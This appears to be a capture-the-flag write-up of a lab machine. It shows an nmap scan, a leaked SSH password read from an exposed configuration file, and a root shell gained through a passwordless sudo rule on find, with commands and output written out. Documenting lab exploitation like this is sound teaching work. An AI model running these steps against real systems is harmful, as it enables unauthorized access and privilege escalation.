Post cover image

August 9, 2026

From an Exposed Configuration File to Root Shell — RatCTF Write-up

In this challenge, a seemingly harmless web server exposed a configuration file containing SSH credentials. Those credentials granted…

By 0xnay33m

1 min read

In this challenge, a seemingly harmless web server exposed a configuration file containing SSH credentials. Those credentials granted initial access to the system, and a misconfigured sudo rule allowing execution of find as root without a password led to full system compromise.

Initial Enumeration

I started by scanning the exposed services on the target.

nmap -sV -p 30321,30322,30880 ip

The scan identified three open services.

PORT      STATE SERVICE VERSION
30321/tcp open  ftp     vsftpd 3.0.5
30322/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
30880/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)

Since anonymous FTP access wasn't immediately useful, I shifted my attention to the web service.

Investigating the Web Server

The HTTP service was running on port 30880.

While enumerating common files and directories, I discovered an exposed configuration file.

curl http://ip:30880/network.conf

The response contained sensitive configuration data.

# Network configuration
hostname=labserver
domain=lab.local
dns_server=8.8.8.8
service=ssh
ssh_host=labserver.lab.local
ssh_user=labuser
ssh_pass=TftpS3cret!

This was a classic information disclosure vulnerability. A publicly accessible configuration file exposed valid SSH credentials.

Initial Access

Using the leaked credentials, I connected to the target over SSH.

ssh -p 30322 labuser@ip

Authentication succeeded, providing a shell as the labuser account.

Inside the user's home directory, I obtained the user flag.

Enumerating Sudo Privileges

After gaining initial access, I checked the user's sudo permissions.

sudo -l

The output showed an interesting configuration.

User labuser may run the following commands on this host:
(root) NOPASSWD: /usr/bin/find

Because find can execute arbitrary commands via the -exec option, allowing it to run as root without a password creates an easy privilege escalation path.

Privilege Escalation

Using the permitted find binary, I executed a root shell.

sudo find . -exec /bin/bash \; -quit

Immediately afterward:

root@tftp-lab:/home/labuser#

Verifying privileges:

id

Output:

uid=0(root) gid=0(root) groups=0(root)

The system was now fully compromised.

Root Flag

With root access obtained, retrieving the final flag was straightforward.

Attack Path

Port Scan
      │
      ▼
Identify HTTP Service
      │
      ▼
Discover Exposed Configuration File
      │
      ▼
Extract SSH Credentials
      │
      ▼
Authenticate via SSH
      │
      ▼
Enumerate Sudo Privileges
      │
      ▼
Abuse NOPASSWD find
      │
      ▼
Spawn Root Shell
      │
      ▼
Read Root Flag

Conclusion

This challenge demonstrates how two common misconfiguration can combine into a complete compromise. A publicly accessible configuration file leaked valid SSH credentials, providing initial access. Once inside, an overly permissive sudo rule allowed the find utility to execute commands as root, resulting in full privilege escalation.

Note: The IP address, lab name, and other identifiable information have been intentionally redacted because the purpose of this write-up is to explain the methodology and approach rather than provide a copy-and-paste solution.

Happy H4CKING.